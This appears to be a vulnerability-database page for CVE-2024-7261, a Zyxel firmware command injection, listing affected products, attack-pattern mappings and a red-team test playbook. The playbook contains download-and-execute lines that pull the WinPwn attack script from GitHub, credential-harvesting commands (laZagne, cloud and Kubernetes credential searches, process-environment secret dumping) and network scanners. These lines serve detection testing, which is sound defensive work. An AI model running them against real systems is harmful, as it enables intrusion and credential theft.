CVE-2024-7261
Overview
This vulnerability is an OS command injection caused by improper neutralization of special elements in the "host" parameter within the CGI program of specific Zyxel firmware versions. The root cause lies in insufficient input validation that allows crafted input to be interpreted as operating system commands. The affected component is the CGI interface handling the "host" parameter in Zyxel NWA1123ACv3 and related device firmware.
Vulnerability Description
The improper neutralization of special elements in the parameter "host" in the CGI program of Zyxel NWA1123ACv3 firmware version 6.70(ABVT.4) and earlier, WAC500 firmware version 6.70(ABVS.4) and earlier, WAX655E firmware version 7.00(ACDO.1) and earlier, WBE530 firmware version 7.00(ACLE.1) and earlier, and USG LITE 60AX firmware version V2.00(ACIP.2) could allow an unauthenticated attacker to execute OS commands by sending a crafted cookie to a vulnerable device.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary operating system commands on affected Zyxel devices by sending crafted cookies over the network. No user interaction or authentication is required (CVSS vector AV:N/AC:L/PR:N/UI:N), enabling potential full compromise of device functionality, data exposure, or disruption of network operations. This can facilitate lateral movement within the network or persistent access to critical infrastructure components.
Solution
Zyxel has released security advisories providing firmware updates that address this vulnerability. Users should upgrade affected devices, including Zyxel NWA1123ACv3 firmware to versions later than 6.70(ABVT.4), and corresponding patched versions for WAC500, WAX655E, WBE530, and USG LITE 60AX models. Detailed patch instructions and version information are available at the official Zyxel security advisory: https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-os-command-injection-vulnerability-in-aps-and-security-router-devices-09-03-2024.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (29)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Zyxel | Nwa110ax Firmware | All |
cpe:2.3:o:zyxel:nwa110ax_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Nwa1123-Ac Pro Firmware | All |
cpe:2.3:o:zyxel:nwa1123-ac_pro_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Nwa1123acv3 Firmware | All |
cpe:2.3:o:zyxel:nwa1123acv3_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Nwa130be Firmware | All |
cpe:2.3:o:zyxel:nwa130be_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Nwa210ax Firmware | All |
cpe:2.3:o:zyxel:nwa210ax_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Nwa220ax-6e Firmware | All |
cpe:2.3:o:zyxel:nwa220ax-6e_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Nwa50ax Firmware | All |
cpe:2.3:o:zyxel:nwa50ax_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Nwa50ax Pro Firmware | All |
cpe:2.3:o:zyxel:nwa50ax_pro_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Nwa55axe Firmware | All |
cpe:2.3:o:zyxel:nwa55axe_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Nwa90ax Firmware | All |
cpe:2.3:o:zyxel:nwa90ax_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Nwa90ax Pro Firmware | All |
cpe:2.3:o:zyxel:nwa90ax_pro_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg Lite 60ax Firmware | All |
cpe:2.3:o:zyxel:usg_lite_60ax_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Wac500 Firmware | All |
cpe:2.3:o:zyxel:wac500_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Wac500h Firmware | All |
cpe:2.3:o:zyxel:wac500h_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Wac6103d-I Firmware | All |
cpe:2.3:o:zyxel:wac6103d-i_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Wac6502d-S Firmware | All |
cpe:2.3:o:zyxel:wac6502d-s_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Wac6503d-S Firmware | All |
cpe:2.3:o:zyxel:wac6503d-s_firmware:*:*:*:*:*:*:*:*
|
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|
Zyxel | Wac6552d-S Firmware | All |
cpe:2.3:o:zyxel:wac6552d-s_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Wac6553d-E Firmware | All |
cpe:2.3:o:zyxel:wac6553d-e_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Wax300h Firmware | All |
cpe:2.3:o:zyxel:wax300h_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
52%
|
High | High | |
| CAPEC-6 | Argument Injection |
48%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-7261 |
| zyxel.com |
GitHub CVE
vendor-advisory
|
https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-os-command-injection-vulnerability-in-aps-and-security-router-devices-09-03-2024 |